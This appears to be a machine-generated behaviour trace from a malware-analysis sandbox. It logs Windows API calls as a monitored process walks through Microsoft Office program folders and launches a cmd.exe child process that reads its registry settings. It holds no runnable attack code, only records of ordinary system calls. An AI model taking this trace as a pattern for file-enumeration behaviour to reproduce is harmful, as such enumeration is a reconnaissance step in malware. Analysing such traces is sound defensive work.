ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0066.143] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.143] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0066.146] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0066.147] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ec16b8 | out: hHeap=0x5c0000) returned 1 [0066.147] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0066.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0066.148] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.148] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0066.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0066.149] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.149] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0066.149] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0066.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0066.149] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0066.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0066.149] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.149] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0066.150] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0066.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0066.150] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0066.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0066.150] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.150] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0066.150] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0066.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0066.150] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0066.152] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0066.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ec16b8 | out: hHeap=0x5c0000) returned 1 [0066.152] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0066.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0066.154] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.154] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0066.155] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0066.156] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ec16b8 | out: hHeap=0x5c0000) returned 1 [0066.156] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0066.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0066.421] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.422] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 Thread: id = 21 os_tid = 0x69c Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x35fa7000" os_pid = "0xa0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x5dc" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x9cc [0043.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fb50 | out: lpSystemTimeAsFileTime=0x24fb50*(dwLowDateTime=0xc7c425a0, dwHighDateTime=0x1d5d105)) [0043.674] GetCurrentProcessId () returned 0xa0c [0043.674] GetCurrentThreadId () returned 0x9cc [0043.675] GetTickCount () returned 0x1154d46 [0043.675] QueryPerformanceCounter (in: lpPerformanceCount=0x24fb58 | out: lpPerformanceCount=0x24fb58*=18486162405) returned 1 [0043.676] GetModuleHandleW (lpModuleName=0x0) returned 0x4a860000 [0043.676] __set_app_type (_Type=0x1) [0043.676] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a887810) returned 0x0 [0043.676] __getmainargs (in: _Argc=0x4a8aa608, _Argv=0x4a8aa618, _Env=0x4a8aa610, _DoWildCard=0, _StartInfo=0x4a88e0f4 | out: _Argc=0x4a8aa608, _Argv=0x4a8aa618, _Env=0x4a8aa610) returned 0 [0043.677] GetCurrentThreadId () returned 0x9cc [0043.677] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9cc) returned 0x3c [0043.679] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0043.680] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0043.680] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0043.680] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0043.680] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x0) returned 0x2 [0043.681] VirtualQuery (in: lpAddress=0x24fad0, lpBuffer=0x24fa50, dwLength=0x30 | out: lpBuffer=0x24fa50*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.681] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24fa50, dwLength=0x30 | out: lpBuffer=0x24fa50*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.681] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24fa50, dwLength=0x30 | out: lpBuffer=0x24fa50*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.681] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24fa50, dwLength=0x30 | out: lpBuffer=0x24fa50*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.681] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24fa50, dwLength=0x30 | out: lpBuffer=0x24fa50*(BaseAddress=0x250000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0043.681] GetConsoleOutputCP () returned 0x1b5 [0043.681] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a89bfe0 | out: lpCPInfo=0x4a89bfe0) returned 1 [0043.682] SetConsoleCtrlHandler (HandlerRoutine=0x4a883184, Add=1) returned 1 [0043.682] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.682] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0043.682] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.682] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a88e194 | out: lpMode=0x4a88e194) returned 0 [0043.682] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.683] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a88e198 | out: lpMode=0x4a88e198) returned 0 [0043.683] GetEnvironmentStringsW () returned 0x2d8a60* [0043.683] GetProcessHeap () returned 0x2c0000 [0043.683] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xa7c) returned 0x2d94f0 [0043.683] FreeEnvironmentStringsW (penv=0x2d8a60) returned 1 [0043.683] GetProcessHeap () returned 0x2c0000 [0043.683] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x8) returned 0x2d88e0 [0043.683] GetEnvironmentStringsW () returned 0x2d8a60* [0043.683] GetProcessHeap () returned 0x2c0000 [0043.684] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xa7c) returned 0x2d9f80 [0043.684] FreeEnvironmentStringsW (penv=0x2d8a60) returned 1 [0043.684] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e9a8 | out: phkResult=0x24e9a8*=0x44) returned 0x0 [0043.684] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x0, lpData=0x24e9c0*=0x18, lpcbData=0x24e9a4*=0x1000) returned 0x2 [0043.684] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x1, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.684] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x0, lpData=0x24e9c0*=0x1, lpcbData=0x24e9a4*=0x1000) returned 0x2 [0043.684] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x0, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x40, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x40, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x0, lpData=0x24e9c0*=0x40, lpcbData=0x24e9a4*=0x1000) returned 0x2 [0043.685] RegCloseKey (hKey=0x44) returned 0x0 [0043.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e9a8 | out: phkResult=0x24e9a8*=0x44) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x0, lpData=0x24e9c0*=0x40, lpcbData=0x24e9a4*=0x1000) returned 0x2 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x1, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x0, lpData=0x24e9c0*=0x1, lpcbData=0x24e9a4*=0x1000) returned 0x2 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x0, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x9, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x4, lpData=0x24e9c0*=0x9, lpcbData=0x24e9a4*=0x4) returned 0x0 [0043.685] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e9a0, lpData=0x24e9c0, lpcbData=0x24e9a4*=0x1000 | out: lpType=0x24e9a0*=0x0, lpData=0x24e9c0*=0x9, lpcbData=0x24e9a4*=0x1000) returned 0x2 [0043.686] RegCloseKey (hKey=0x44) returned 0x0 [0043.686] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2814db [0043.686] srand (_Seed=0x5e2814db) [0043.686] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0043.686] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0043.686] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a89c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 